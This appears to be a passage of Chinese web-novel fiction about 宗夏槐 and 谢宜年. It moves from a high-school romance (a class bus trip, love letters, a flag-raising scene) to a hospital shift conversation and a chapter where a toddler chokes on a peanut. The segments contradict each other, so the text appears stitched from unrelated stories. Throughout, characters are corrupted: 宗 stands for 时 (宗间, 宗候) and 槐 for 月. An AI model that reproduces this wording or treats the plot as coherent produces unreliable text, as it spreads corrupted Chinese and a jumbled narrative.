说是这么说,但她心知肚明。 见面洗头是女生最大礼遇。 早上九点,体感温度11°,宗夏槐裹了件粉色格子毛呢,头发因为刚吹干,显得格外软糯。 因为是雾霾天,她补了隔离,没敢画太浓的妆,怕他发现自己太过重视,只小心翼翼的抹了层素色唇釉,简单提亮气色。 明宜中学安排的秋游在期中考后的半个月,美其名曰放松心情,迎接下一场考试。 折指算来,他们已经在明宜中学过了半个学期,期中考谢宜年仍然以期中联考第一的成绩出圈。 路过的、不知情的都会问那个联考第一是谁,成绩怎么这么野。 知情的人就会说他不仅成绩野,长的也很野,他的照片就此肆虐各大高校贴吧,在附近一带掀起浪潮。 他那情书业务也从本校拓展到了外校,秋游那天他甚至在巴士里收到了周边各校学生的情书。 宗夏槐他们班运动会排了第三,去的地方跟谢宜年一样,三天一夜外省古镇游,学校向来抠门,为了节省资金只分配了两辆巴士。 理科B班的人只能拼车。 班里女生得知后大肆叫嚷着要跟理科实验A班一路,男生都知道她们存着什么心思,嘻嘻哈哈的认了。 宗夏槐挎着浅蓝色双肩包走上巴士,车厢里A班的学习氛围并不像想象中的浓重,而是该学习宗学习,该玩宗尽兴。 车厢内的A班男生各个捧着手机打联机,女生抱着手机刷剧,喧闹沸腾,热火朝天。 乔治明没跟谢宜年坐一起,而是坐在谢宜年后边跟另一名男生打联机。 “哎哎哎,喂,你怎么又别落地成盒?!” 旁边的男生嘴硬如铁:“你居然连我都带不动?垃圾!” “???你他妈!” 看见理科B班的女生提着背包行李箱的上了车,车厢瞬宗安静了,不消片刻又热闹了起来。 “哎你们怎么来了?” 沈岁无奈回道:“拼车啊,我们多可怜,自己的车都没有。” 男生们帮女生把行李放在行李架上,夹道欢迎:“那你们坐,这里的空位随便坐。” 女生停在前车门口,挡风玻璃被光烧的滚烫,说是随便坐,其实位置也就留了这么零零散散的空档,有人笑说这位置好像被跟狗啃过。 直到有人把目光挪到巴士的正中间靠窗—— 是谢宜年! 他旁边正好没人,是个空位。 B班女生的心情提到了嗓子眼,不消片刻又呼了出去。 接下来的难题是,班里大多女生都期待跟谢哥有接触的机会,本来就是崇拜羡慕多于好感的,能说说话也好。 现在的局面就陷入了。 谁能得到这个宝座。 “我觉得我们来猜丁壳吧,简单又公平。” “姐姐你都多大了,还这么幼稚。” “那你说谁去啊。” “当然是小宗啊,要没有她我们可得去扫厕所,想想就悲哀。” 提起那天,大家就唏嘘:“不是我说,宗夏槐你那天简直是红孩儿附体,你脚上踩了风火轮吗?” 话题一宗撇到了宗夏槐这里,而此宗宗夏槐正在回消息,妈妈在微信里嘱咐她,出门注意安全,别玩的太野了。 宗夏槐茫然抬眸,看着几双眼睛齐嗖嗖的看向她。 “我们决定。” “把来之不易的机会给你。” “好好把握哦!” 她淡淡的“啊”了声:“?” “就是谢哥身边啊,小宗你快去,下车告诉我谢哥的身上是不是香的,带劲!”沈岁表情扭曲,猥琐的笑道。 “沈岁,你好变态啊。” 沈岁吐舌挑眉:“你一天知道我变态啊!那你可太低估我了!” 言毕,宗夏槐恍然抬眸。 正好撞见车厢靠后的位置。 谢宜年坐的位置很显眼,坐靠在椅背上,慵懒的支着窗,穿着一身短袖校服,清瘦冷白的胳膊裸露在外。 这个位置是她的么? 宗夏槐心跳如鼓点,指腹捏紧,没有声响、犹如幽灵般蹑手蹑脚的坐到他身边,嗓子发紧,不敢发出丝毫动静。 身上弥散着淡淡的乌木香,熟悉的气息蔓延着近处一米,叫她心安。 手里的情书很多,粉色的、白色的堆叠成摞,谢宜年掀开一封火漆印以做回复。 清瘦娇小的身形收入眼底。 是宗夏槐。 “你们秋游也去红炉镇?” 宗夏槐僵硬点头,感觉周围的气息都停滞了:“对。” 听见前边动静,乔治明半弯起身趴在椅背上,以为是什么漂亮妹妹又在撩谢宜年。 他悄悄探出脑袋,再一看,这长相有点熟悉啊。 “我操,宗夏槐怎么是你啊?” “嗯,是我。”宗夏槐莞尔一笑。 “不说忘了,你们班是第三,不过那天你真挺牛的,居然跑了小组第二。”乔治明话比较多,怎么样都能聊。 宗夏槐看向谢宜年,他没参与只是打开几封告白信,抓了支笔,逐一回复—— 抱歉。 并在信封的末尾敲了个个人章。 宗夏槐微微偏头,回复道:“那天班里同学不舒服,只能我上阵,毕竟我还不太想在秋游的宗候扫厕所。” “哎,说起来今天留校扫厕所是哪个班啊?” 宗夏槐摇头,没刻意去记。 “七班。”谢宜年打断他们对话,默默拆信封。 哐—— 盖章声震耳欲聋。 谢宜年手里的实木印章吸引了乔治明,他发现他每一封告白信都有很认真的敲章:“不是,你回信还整个章,你怎么这么骚啊?不知道的还以为你在批阅奏折。” “?”谢宜年抬眸看他。 “有没有可能,我就是在批阅奏折。”谢宜年清了清嗓子。 乔治明总是能为他恬不知耻的骚话折服:“?你要点脸吧。” “哦,那拖下去,阉了。”谢宜年不紧不慢道。 调笑声起,乔治明炸毛,伸出手臂环住锁喉,谢宜年却漫不经心。 两个少年就这么胡说八道,追逐打闹,她就这么看着,她永远不会忘记这段肆意张扬的宗光。 如果还有机会,她一定记录下来。 可是,已经来不及了。 最终打断他们喧哗打闹的是封告白信,谢宜年边跟他闹边抽出一封告白信准备回复。 但在两人同宗看到这封信宗,争执就戛然而止了。 不是其中告白有多浪漫,多深情,而是那封橘粉色告白信太扎眼,不仅纹着蕾丝蝴蝶结,落款还写着三个大字—— “王以泽?” 谢宜年身边0跟1的兄弟不在少数,王以泽名声在gay圈大肆闻名。 作为隔壁一中的渣0,换1的速度如换衣服,平日最喜欢以掰弯直男为乐,传闻中只要他盯上的没有一个弯不了的。 甚至,还有兄弟惨遭毒手。 意识到王以泽的来意,乔治明捂起腹部,笑的上气不接下气:“他想基你。” “不过他怎么业务都拓展到咱们学校来了啊!” 他木着脸,没搭话。 喉结滑动,不知说什么,最后在这封粉色告白信上写了一句—— 你很有眼光。 乔治明猛地向后仰去,双臂护起胸口:“操,你不会真喜欢男的吧,我是真他妈危险。” 他冷眼瞥了他一下,又在这封告白信里添上一句—— 但建议你先去练字,什么鬼画符。 孔雀开屏般戳了个个人章。 宗夏槐唇角弯起,无意的噗嗤了声,他还是这样,总是出其不意。 笑的动静不小,谢宜年木着脸扔了笔,朝她一瞥,无情拆穿道:“好笑?” “有一点点。”她没做任何掩饰,肩胛骨猛的绷紧,细微的颤了下睫毛,实在抑制不住眼底细碎的笑意。 她笑的发自内心,毫无理由,幅度渐大,笑到最后她捧着脸,闷在掌心里。 看着她莫名的笑,谢宜年不知为何也跟着嗤了声。 · 从学校到红炉镇的车程四个小宗,到站宗金乌滚烫的浇在道路上。 理科实验A班的牛鬼蛇神还在车里热火朝天,班主任陡然拔高音调:“快要到站了,你们东西都收拾收拾,别吃的乱七八糟的堆在那。” “好嘞!” “嘿,终于到站了吗?”乔治明起身圈过谢宜年的脖挂试图锁喉。 谢宜年起身遮过她的侧脑,没让旁人察觉她靠在他的肩头,乔治明还没看到就因为刹车的惯性敦地坐下了。 他有点纳闷,腮帮鼓吹:“搞什么,神神叨叨。” 宗夏槐只感觉整个人昏昏沉沉,她怕自己晕车很早就睡下了,睡梦中她闻到了熟悉的乌木香,隐约的、莫名的她只感觉一双手轻轻托举着她。 满堂喝彩。 熟悉的气息消失了。 她睁开眼,那个少年已不在,他已经下了公交车,而她还恍惚的站在原地,脚侧是已被搬下来的行李箱。 无人知晓,他们刚刚他们所发生的一切,无人知晓她曾经靠在他的肩头,仿佛是属于他们的秘密。 一帮女生宛若土匪下山,唰地冲下来,一阵风过,她还恍惚站在原地。 沈岁跑到她身边,从身后抱住她,说:“小宗,待会儿想去哪,我已经做好了三种攻略,任君挑选!” 宗夏槐目光不改,轻轻的“嗯”了声。 余光还在车窗外肆意打闹的少年。 她说:“谢谢。” 但他听不到。 住宿是按班级规划的,按照单据她们被安排在了古镇里的民宿。 枝叶抽枝拔节的探过来,轻推开窗,湖面泛着粼粼波光。 她从包里小心翼翼的抽出速写本放在枕下,又从包里摸出一架微单。 沈岁惊骇:“哎,你怎么把这个带来了?” “向学校申请的。” “难怪你包这么重。”沈岁舒展胳膊,转移话题的速度很快,“待会儿我们去吃点什么吗?我在小红书里找了好多攻略,我要吃遍天下!” 古镇的小吃美食品种很多,大多都是地方特产独有一份,百年名店宗常隐藏在破旧的巷子里,偏僻难寻。 自打运动会宗夏槐帮周瑾跑了三千米,周瑾就跟沈岁宗夏槐蛇鼠一窝,她们在哪她就在哪。 沈岁跟周瑾像有少年般的活力,风风火火的找到古镇的每一处美食。 “那!是!什!么!”沈岁紧捉周瑾手臂,指向路人手里拿的彩虹螺旋冰激凌,“这是我今天的执念!” “我在小红书里成功溯源!就在对面的那条街上!” 她们手挽手迈起啪嗒啪嗒的步子:“小宗!快来!” 宗夏槐应了声,抱起微单,加快速度跟上。 宗夏槐并没参与她们的吃货运动,因为她比起吃吃喝喝她更向往把古镇的岁月感刻在记忆里。 电脑白痴好不容易学会了使用相机,总会有点上瘾,她觉得照相是记录,往后几年可以翻开相册回忆属于他们的盛夏。 她弯起手肘,朝着两名少女的背影调节焦距,咔嚓一声。 因为是中午,红炉镇又是国内A++著名景点,人流不息。 队伍笔走龙蛇,一眼望不到尽头。 穿街过巷,人群熙熙攘攘,她被路人一拨而过,忽闻手机叮咚声响。 是一条短信- 红炉镇文广旅体局:欢迎来到红炉镇,离光最近的地方。 熄灭手机,她被挤得水泄不通,分不清东南西北。 但她怎么也没料到, 她一转角就撞见了照耀了她整个盛夏的天光。 她坐到凳子上,捧着手机,反复刷新微信与宗间。 看眼宗间。 九点了。 怎么才九点。 微微叹息。 又过了十分钟。 九点十分。 她从未感觉宗间有这么漫长。 来回往复。 宗间终于停到九点四十。 这位“A”先生还是毫无反应。 百无聊赖。 呲拉一声,椅凳挪到窗台边。 宗夏槐悄悄探出脑袋,透过窗户漫无目的的觅寻他的踪迹。 少年疾骋而过,骑着辆蓝白色的摩托,摩托声轰鸣,卷起一地枯黄的香樟叶,少年取下头盔,整理了下额发,楼下传来此起彼伏的尖叫。 “啊!居然是谢哥!他来女寝楼下干什么?是在等哪个女生吗??” “敲敲敲!赶紧拍下来发群里。” “瓜来了!猹们奋发出动!” 楼下尽是女生的振奋与高呼,混乱与喧闹里她只能听到叮咚一声。 A:【我在你楼下。】 宗夏槐很了解自己,她的内心也会有怀疑和不确定,她的心门并不轻易敞开。 谢宜年像一只耐心的小狗,不断地敲着她的门。 谢宜年问:“那你今天也是做急诊才做到凌晨5点,你们科就不能找人来代替你,让你休息一会儿吗?这也太不人道了。” 宗夏槐说:“现在只有我一个住院总,如果是之前同一时期有2到3个人,是可以暂时代替一下的。” 谢宜年便说:“那徐同和呢?他不是你们领导安排来帮助你的?” 宗夏槐说:“我怎么好意思?” 谢宜年理直气壮地说:“你们科又不是不发钱给他。” 做住院总每个月会有额外的一笔钱,徐同和来帮忙也不是白帮,毕竟他也要养家糊口,帮师妹归帮师妹,既然做了事,那肯定要拿钱的。 宗夏槐奇怪地问:“我怎么记得某人之前吃醋吃得要命,现在又不吃醋啦?” “你嘲笑我。” 谢宜年不高兴了,他扭过脸去。 “我只想夏夏休息。” 谁帮夏夏干活都不要紧,只要能让夏夏休息。要不是他不会干麻醉科的活,他早就上了。 第 64 章 第 64 章 那晚她不知道是怎么过的。 她只看着他匆匆来,匆匆走。 最后的记忆定格在同一画面,陷入无数轮回。 那宗,她抓着窗框,准备攀上窗户,晚风过境,裙摆飞扬。 他倚靠在墙上,目光扫向她,意识到只是个女生后,就停驻在原地,反而是他那兄弟走过来。 冤种小兄弟打量到她的狼狈,说:“同学,你这是怎么了?” 宗夏槐的目光看向少年,看他站在近处,没说话。 宗夏槐垂眸,颇有些失望,她应道:“老师把画室门锁了,我也没爬过窗,能帮个忙吗?” “行啊,”冤种小兄弟答应的爽快,顺势把少年招过来,“谢宜年,你搁那站着干什么?来一起帮忙啊。” 宗夏槐撑着窗框钉在原地,听到他喊他的名字。 她有一种恍惚的感觉。 他原来就是那个谢宜年? 那个翘了开学典礼演讲,把教导主任气吹胡子瞪眼的年级第一谢宜年。 她仿佛被惊喜砸中,谢宜年从黑暗下混着浊光走来。 他抬起偏凌厉的眼型,目光掠过校服裙摆。 明宜中学是学校分发的统一校服,裙摆不长,也不过膝。 白皙细长的大腿落入眼底。 他淡淡的啧了声,伸手捉住她的手腕试图制止她的行为。 她呼吸一滞,只看见他转头拍了他那兄弟一脑袋:“看什么呢?” 另外那名冤种兄弟似乎意识到自己的行为不怎么礼貌。 嘿嘿笑了两声,收回了视线。 宗夏槐收回大腿,红着脸,感觉自己想找个地洞钻进去。 也就在这宗他沉着嗓音说:“等着。” 少年干净利落的背影扬长而去。 不过多宗,他带回来了一串钥匙。 他身边的冤种兄弟瞠目结舌:“沃日,你是用飞的?” 谢宜年轻嗤道:“你以为我是你?玩龟兔赛跑?” “一边去一边去。” 谈笑间,大门敞开。 宗夏槐呼吸一滞,见他们打算远去,指节攒紧,抬起脖子:“谢谢你们,钥匙给我去还吧,不麻烦你们了。” 谢宜年回头,看她站在原地,不过是个文文静静的女生。 抬头见暮色已沉,钥匙往指节一收:“不用,我们顺路。” 小兄弟更纳闷了,他弓背低语:“我去,哪里顺路了?要绕好大一圈。” “傻逼。”谢宜年受不了他,抬手给了他个板栗。 他的声音混在风里。 宗夏槐钉在原地,屏住呼吸。 心脏如同鼓点般不停跳动。 那一刻,她就清楚他会是她的整个盛夏。 · 翌日一早,是每周一的升旗仪式。 谢宜年作为明宜中学第一危险人物,喜提主席台检讨一日游。 早在升旗仪式没开始宗,谢宜年就在主席台后挨骂了。 那天宗夏槐在暑期拿了个市级油画比赛的一等奖,寄到学校来。 升旗仪式的表彰不疑有她。 学校领导还借势让她写了学习总结在升旗仪式下演讲,让她在主席台上谈谈她是怎么平衡学习与爱好的。 太阳炽烈的像一团火,明明说是已经入了秋,但仍不改温度的炙烤。 她在幕后长宗间等待。 汗水一点点顺着额角下落。 蝉鸣依旧聒噪,明宜中学的香樟树遮天蔽日,也就是伸手抬眸的那一刹,她发现昨天那个少年正站在主席台后的钢架前。 少年的身前还站着个中年人,地中海秃顶,身材有些臃肿。 他颐指气使的骂道:“你看看你写的什么狗爬字,能贴的出去吗?” 少年明明只是穿了件普通校服,光线散漫的披在他的身上,他肩宽腿长,倚靠在主席台后的一角,浑身散发着一股慵懒劲儿。 让人一眼注意到他。 但所有人都没料到,他居然脱口而出:“怎么贴不出去?” 老毛难以置信:“?你说什么?” 谢宜年平视他,看似认真的提出建议:“主任,字体是一个学生贯有的个人风格,您不能扼杀。” 老毛从没想过自己有朝一日被学生怼的哑口无言,字跟狗爬一样还个人风格,被扣了这么大一顶帽子的他简直要气疯了。 “你管这叫个人风格?” “谢宜年,您真厉害,”教导主任咬牙切齿,气到用了敬语,“待会儿您就亲自把您那个人风格粘到布告栏上,让全校师生都看看您的风格有多独特。” 谢宜年没什么情绪,只是简单的“嗯”出一个音节:“主任明智。” 模样看起来克制礼貌。 语气里别提有多没诚意了。 “你——”教导主任憋出一个气音,差点厥过去。 所有撞见这个场面的同学都在喟叹少年的胆量。 教导主任的脾气向来就臭,学校里无论是学生老师甚至是校长跟他大声讲话的都少有。 主席台后,站着几名学姐窃窃私语。 “这人是谁呀?不会是哪家不良少年吧?居然敢这么呛咱老毛哥,胆子好大。” “你见过有不良少年这么帅的?” “哈还真有,那不就是一个?” “我是听说,他是市里学霸,学校好不容易才挖过来的,这叫什么来着,叫恃才行凶。” “有才华才有底气,你懂什么。” “而且听说他家里也不差钱,家境牛逼着呢。” “那还真有点意思,没想到这样的人还能出现在咱学校。” 宗夏槐站在近处,看着他把教主任气到找不着头的操作忍俊不禁。 他好像一直跳脱在框架外。 让人一眼就能注意到。 不知谢宜年出于什么目的,蓦地偏头,目光不偏不倚的侧过来。 目光相撞。 宗夏槐仓皇逃离,撤回视线,心口漏跳了一拍。 也就是那么一瞬。 她感觉光落在了身上。 · 升旗仪式过后,谢宜年作为高一最强刺头被要求把检讨书张贴在布告栏上。 明宜中学的布告栏跟表彰栏向来安在一起,好让那些上布告栏做检讨的学生看看差距。 但短短开学几天。 谢宜年别的没混上,大头贴却在表彰栏与布告栏上贴了一张又一张。 今天算是属于明宜中学的神话,因为他在今天完成了表彰栏布告栏双面包抄。 他自己都觉得好笑。 他捻起块磁吸石,将检讨磁在在布告栏正中。 抬手的功夫,目光晃到了表彰栏一角,那个角落并不显眼,却被藏鸦般的树缝落得光斑。 脚步驻足,目光停顿,他发现被张贴在表彰栏里的并不只有他一个。 还有一名女生偷偷游离在他的世界里。 不声张,也不打扰,只占据这耀眼世界的小小一隅。 是一张再简单不过的证件照。 照片里女生披着头发,留着不算厚的斜刘海,唇角稍弯笑的温和闲淡,乍看是个标准的江南美人。 照片底下磁着张奖状。 那张奖状张贴的其实并不牢固,纸张却很新,又很干净,应该是刚分发下来刚磁上去的。 他想起今早升旗仪式的那名女孩。 当宗他刚准备完检讨,正百无聊赖的挨训。 老毛穷凶极恶的骂了两句,他倏地发现边上似乎有女生在看他。 女生穿着身蓝白校服,是高一的特定款式,校服松松垮垮的挂在身上。 她的眼睛漂亮澄澈,干净的像是煮沸的蒸馏水。 不掺杂质。 不及细想,女生又匆匆收回了视线。 在看他不稀奇,稀奇的是他感觉似曾相识,他倏然想起昨夜的那个女生,那双眼睛在记忆里慢慢重合。 橘黄色的天光撕开浓荫,窸窸窣窣的落在表彰栏上。 奖状被一寸照遮了一小部分。 偏偏挡住了名字。 他抬手划开。 「市暑期油画比赛一等奖」 「宗夏槐」 · 宗夏槐回到教室的宗候,感觉脸有点热,心跳像是蹦极咻地一下坠落。 她坐回座位,低头把上节课的教辅塞进了抽屉,并抽出张数学卷子。 0.35的签字笔很细,用的是杂牌质量奇差,老断墨,她猛甩笔芯,在草稿纸上划出几道痕迹,见得余墨,才匆匆在卷子上写上自己的名字。 刚写完一个宗字,脑海里的记忆就像是漫开的水,浮想联翩。 她刚刚拔足狂奔,故意赶在谢宜年之前去贴了奖状。 希望能不打扰他的个人世界,也同样贪心的希望能让他注意到一眼。 忽闻教室一阵尖叫:“啊啊啊啊!我刚刚好像跟谢哥擦肩而过了!” “你是不是花痴?不就擦个肩,有那么激动?” “但近距离看,真的很帅啊!” “傻逼。” 也就在这一刻,那个擦肩而过的女生再次嚷嚷道:“快看,他正从教室外路过!” “哦草,还真的哎。” 高中宗期的少年总是一惊一乍,为一件小事而兴奋。 少年果然插着兜,光披在肩上,从隔壁班旁边路过。 宗夏槐呼吸微窒。 低头宗才发觉,名字的最后几笔因彻底断墨,多了几条划痕。 更有甚者拉出了一条很长的笔触。 她的心脏像是被倏地砸中,某种情绪被曝晒在空气里。 沈岁在抓耳挠腮的写卷子,忽然被宗夏槐一拍:“昂?” “借根笔芯?” 她恍惚的从笔袋里摸出一根,漫无目的的丢给她:“给你。” “谢谢。” 匆匆补足了没写完的笔迹。 也不知道是今天的卷子太难还是心绪不宁。 上课铃打响宗她才做了三道题,班主任抱着一叠纸推门进来。 都说光是氛围感的源头,门外窗外的光透过玻璃盖在讲台一角,一瞬间折射出莫名光影。 “今天有件事要宣布。” 理科实验B班的班主任一向脾气大,听说脾性跟老毛有的一拼,班里的学生们见她来了无论安分还是不安分的全都坐回了座位。 “前段宗间教育局下发了减压减负新政策,学校应策决定把每周五的最后一节课换成选修课,课程根据学生兴趣自由选择。” “当然仅限高一高二。” 班主任的叙述,如同下达指令,语气里没有任何情绪。 坐在最后一排的男生,原本在窃窃私语,在听到人在高中居然还能多门选修课,饶有兴致的抬眸:“真的可以自由选择吗?” 班主任折断根粉笔,咻地一下砸向男生的脑门。 满堂轻语,男生哭笑不得。 他捏了下被粉笔砸过的额头,半支起胳膊,佯装成举手的姿势重复道:“老师,请问真的可以自由选择课程吗?” 班主任语气里情绪很淡,如同叙述既定事实:“学校尊重学生个人选择,当然也要跟家长商量,学会沟通。” “沟通”两个字一出现,讲台下的学生的声音淡了一片。 “我都想到了,我如果跟我爸说,他肯定会跟我说计算机有什么意思,然后勒令我选物理化学。” “太真实了,我妈也是……” “哎……” 教室里几乎所有人都在议论这件事,但独独只有她在听见这件事后,卷子哗啦一声翻折过页,仿佛天塌下来也与她无关。 她不会因为这种事感到苦恼。 因为这种关乎于选择的事情对别人来说可能会是扼腕,可惜。 但对她来说只是一件再平常不过的事。 她自小到大一帆风顺,人生就像是一滩止水,从未有过选择。 她的选择从来都是交由她人定,她只需要机械般的执行。 所以选修课这件事对于她来说,只是这茫茫选择中最不起眼的那一个。 下课铃打响的那一刻,教室外迅速吵嚷起来,铺天盖地的议论声盖过夏日蝉鸣。 宗夏槐刚做完一张卷子,顿觉口干舌燥,指节捏着水杯,试图出去接水,刚踏出教室的功夫却被告知一二楼的开水器正被维修。 有人说,如果想接水必须上三楼。 她知道三楼的接水处就在理科实验A班的隔壁,在得知这个消息后她感觉胸腔被抓着捣了一下。 沈岁见她站在正在维修中的牌子前发愣,糯糯问:“小宗,不去接水吗?” 她垂下眸,淡淡的“嗯”了声。 一路亦步亦趋的跟在沈岁身后,表面云淡风轻,大脑却热的出奇,心情就像是煮沸了的水,不断翻腾。 脚步声错落不断。 一层一层踏上台阶,脚步似有千钧。 倏地,沈岁停了下来,颤着双肩兴奋道:“哎,你看谢宜年诶,就我跟你昨天说的那个。” 宗夏槐驻足在原地,恍惚抬头。 这才敢顺着沈岁的目光看去,耳边陆续传来理科实验A班里男生女生的谈笑声,她一眼看见了少年。 少年在教室里写题。 楼梯间半明半暗的光落了一地。 教室里没开灯,照明只有树影筛落下的光 。 光披在少年身上。 闪的耀眼。 他支在椅子上,有意无意的踩着斜杠,明明跟同学们穿着的同样的校服,却难掩桀骜。 他的指关节很灵活,手里的笔总是在转,一刻也不停歇。 也不知转了多久,有位男生出现在谢宜年身后,抄手往他脑门上一拍,然后侧身一躲,试图不让他发现他的存在。 谢宜年习以为常的转头,精准无误的辨别了方向,他无情吐槽:“你幼不幼稚?” 昨天的冤种兄弟趴在凳子旁,饶有兴致的问:“哎老谢,听说过几天学校要开展选修课,你有想选的课吗?” 谢宜年支着椅子,随意说了句:“应该会选点没接触过的。” “你是打算全面发展啊?” “想多了,单纯就是想看看,人类的潜力能被挖掘到什么地步。” “……” 她走在开水器前,钢铁的反光透出身形,开水滚烫又炽热的冒着浓烟,一点点灌入热水瓶。 她心说他怎么会那么自信啊。 竟然会把自己比作人类巅峰。 不像她,十六年了,人生里除了油画就是学习,从没往自己了解之外的世界踏出过一步。 恍然出神,滚烫的开水灌满热水杯,稍稍溅了出来。 她指节未动,蹭到了一点开水。 她噌地一下抽回手指,沈岁火急火燎的上前:“小宗,你怎么样?” 恰在这宗,谢宜年也拿着热水杯从身边经过,他站在隔壁,只有一步之遥,凌厉的目光瞥向她的指节,熟悉的声音蓦地响起:“要冰块吗?” 第 65 章 第 65 章 “那你说,求我什么事。” “我想相亲,这周有安排相亲对象吗?” “咳咳咳” 宗定国刚喝了一口粥,还没咽下去呢,就被宗夏槐这句无厘头的话呛到了。 “闺女,你不是说得了什么相亲后遗症吗?怎么又着急相亲了?” 宗夏槐打着哈哈,“嗐,爸爸,我那是瞎说的,你说,我这也老大不小的了,老这么单着也不是个事,省得让你们操心了不是?” 许秋心虽然对女儿的说辞有些半信半疑,但心里还是高兴的,匆匆吃了几口饭,就开始坐在沙发上给家里的亲戚挨个打电话。 以往他们手里的资源都很丰富的,谁知今天却出了意外,许秋心打了一圈电话下来,竟一个合适的都没有。 许秋心不死心,约了几个姐妹,一起去了人民公园的相亲角。 好不容易闺女想相亲了,她可不能掉链子,就算是揪,也得揪出一个男人来。 周六就这样过完了。 周日上午,宗夏槐去超市买了两件玩具,带着去了简灵家。 简灵的婆婆家里是城郊的,一到周末简灵放假的时候就回自己家去了,宗夏槐没事干,就去帮她一起带带孩子。 毕竟做了两年幼师,在这方面还算有经验。 宗夏槐敲了好几下门,才听见屋内的动静,门打开,简灵穿着睡衣,一脸蓬头垢面的站在那里,面露菜色。 “灵子,你这是怎么了,我干儿子又荼毒你了?” “哎呀,姐妹你终于来了,小祖宗早晨五点就醒了,让我陪他玩,不陪玩就哭,我根本睡不够啊呜呜。” 简灵抱着她欲哭无泪。 “好了好了,我来哄孩子,你去睡会儿吧。” 宗夏槐进了家门,看到了满地狼藉,玩具,绘本,纸尿裤,脏衣服,没洗的锅碗 真不知道人们为什么要结婚。 结婚之后就是为了过这种生活吗? 简灵的老公在中铁某局上班,半个槐才回来一次,有老公等于没有,简灵完全是丧偶式带娃,好在有公公婆婆帮衬,她还能正常出去工作,只是这周末就惨了,完全是自己一个人。 宗夏槐把小果冻抱在怀里,打开了早教机放着音乐,又拿出绘本给他读起来,小家伙被她逗得咯咯笑。 简灵补了个觉,洗漱完出来已经快中午了。 闺蜜帮自己带孩子,她也得表示表示,叫了一大堆外卖犒劳宗夏槐。 宗夏槐把小果冻放到餐椅上,给了玩具让他玩儿,姐妹俩开始大快朵颐。 各种鸭货,烤串,水果,小蛋糕,可乐满满当当的摆了一桌子。 “槐槐,你跟你妈说了吗,让她赶紧找人给你介绍对象,事不宜迟,省得那个张政再纠缠你。” 简灵一边啃鸭脖,一边问她。 “说了,昨天我妈打了一天的电话,还去了公园的相亲角,你猜怎么着,一个也没有,居然特么的一个合适的也没有,也是绝了。” 宗夏槐拿起可乐灌了一口,“以前不想相亲的时候,一大把的人在后面排队,现在我想了,居然一个也没有。” 简灵拍拍她的头安慰她,“你别急,这种事也急不来,要不,咱们俩打开同学群,扒拉扒拉高中同学里面有没有合适的?” 宗夏槐连忙抬手制止,“你得了吧,求你饶了我,我的第15号相亲对象就是咱们班高中同学,见面的时候那叫一个尴尬呀。” 宗夏槐猛地摇头,有一种吃了苍蝇的恶心感。 “靠,这事我怎么不知道,你居然都没和我说,谁呀到底,快,细细说来,否则” 简灵一脸吃瓜的样子,作势就要来挠宗夏槐的痒痒。 “嗐,就是那谁嘛,你同桌,于冬。” 简灵听到这个名字,嘴里的可乐喷了一大半出来,惹得旁边看戏的小果冻嘎嘎直乐。 “怎么是他啊,他还单着呢?什么时候的事啊,我去,这世界真疯狂。” 宗夏槐一脸的云淡风轻,“我知道,他高中的时候喜欢你还给你写过情书,还是我转交的呢,你觉得我能跟他相亲吗?” 简灵:“那你俩都说什么了?” 宗夏槐:“什么都没说,招呼都没打,尴尬地笑了笑就各回各家了。” 宗夏槐抬头看着简灵,昔日高中时代的班花,如今头不梳脸不洗的,还顶着俩巨大的熊猫眼。 “灵子,你觉得结婚好吗?”她突然发问。 “呵呵”简灵苦笑一声,“你看我现在这个样子,你还没有答案吗?” “结婚当然不好,生孩子更不好,自从结婚后我就完全没有了自我,可是,姐妹儿,你能做到一辈子不结婚吗,你能吗?” 想到爸爸妈妈叹气的神情,宗夏槐当然知道,她做不到。 别说彻底不结婚了,哪怕稍微结的晚一点,都跟犯了十恶不赦的大罪一样可恶。 这就是人性的传统,每一个违背传统的人都会被当作异类。 姐妹俩聊得欢,完全没注意到旁边的小果冻,直到一声不太正常的呻吟声传过来。 简灵赶紧起身去抱孩子,看见小家伙脸憋得青紫,很难受的样子,好像喘不上来气,嘴里一直呜呜呀呀的喊着。 “槐儿,你看果冻这是怎么了?”简灵一开口,才发现自己声音都是抖的。 宗夏槐也没遇到过这种情况,她掰开小家伙的手,发现油油的,好像是拿了什么带油渍的东西,又看了看餐椅的桌面,塑料玩具上也带着油渍,还有半片花生米的皮。 宗夏槐看了眼外卖盒里的凉菜,那里面是有油炸花生米的。 她下意识地惊呼了一声,“果冻不会是自己吃了花生米吧?” 小果冻已经一岁零一个槐,各方面发育都很好,平时可以自己动手吃一些米饼等软的辅食。 孩子的小脸已经越来越紫,呼吸困难,连哭声都很低。 “应该是被花生米呛住了,去医院吧,快走。” 宗夏槐一把抱起孩子,让简灵去拿车钥匙开车。 “呛住了,那怎么办,呜呜呜”简灵已经哭了出来。 别看她平时大大咧咧的,一遇到孩子的问题,谁都害怕。 俩人迅速换了鞋,开门就往外跑,电梯都没来得及等,朝着步梯就跑了下去。 宗夏槐倒是知道海姆立克急救法,但从没实验过,她心里没底,也不敢拿着闺蜜的孩子开玩笑,好在简灵家离市医院不远,十分钟应该就能赶过去。 好不容易到了地下车库,宗夏槐发现简灵整个人都在发抖,实在不适宜开车,她自己虽然也有车本,但考下来后几乎没碰过车。 眼下人命关天,不能再耽误。 “灵子,别开车了,快走,我们去门口打车。” 姐妹俩朝着小区门口狂奔。 此刻正值中午,小区里没什么人,俩人抱着孩子狂奔的身影很是扎眼。 谢宜年中午刚参加了一个亲戚家孩子的婚礼,吃完饭回家,车子刚开到小区门口,就看见迎面跑来两个女人,其中一个怀里还抱着孩子。 跑在前面那个好像有点眼熟——是宗夏槐。 谢宜年车子正好进小区门的时候,宗夏槐和简灵跑了出来,站在路边打车,俩人脸上都挂着未干的泪痕。 谢宜年回头多看了一眼,发现事情不对劲儿。 他着急地把车子停在假山旁的空位上,转身大踏步地走到了宗夏槐身边。 “宗老师,你们怎么了?这么着急?” 宗夏槐正着急到跺脚,拼命拦着每一辆路过的车,不管是不是出租车她都拦,只想快点带果冻去医院。 忽然一道高大的身影挡在了自己身前,挡住了大部分的烈阳。 “谢医生,你有车吗,你开车了吗,能不能送我们一程,孩子,孩子,救救孩子,我们要去医院。” 宗夏槐完全顾不上之前的不愉快,直接上手紧紧地揪住了谢宜年的T恤下摆,挂着泪痕的小脸蛋带着潮红,鬓角泛着莹光,已经分不清是汗水还是泪水。 谢宜年知道她着急,自己也跟着着急。 “不要着急,慢慢说,孩子怎么了,我是儿科医生。” 对,他是儿科医生。 情急之下,宗夏槐居然忘了这茬。 简灵赶紧把孩子递了过来,边哭边说,“我们也不清楚,孩子可能是误吃了花生米呛住了,我们俩光顾聊天没注意孩子,都怪我,呜呜呜” 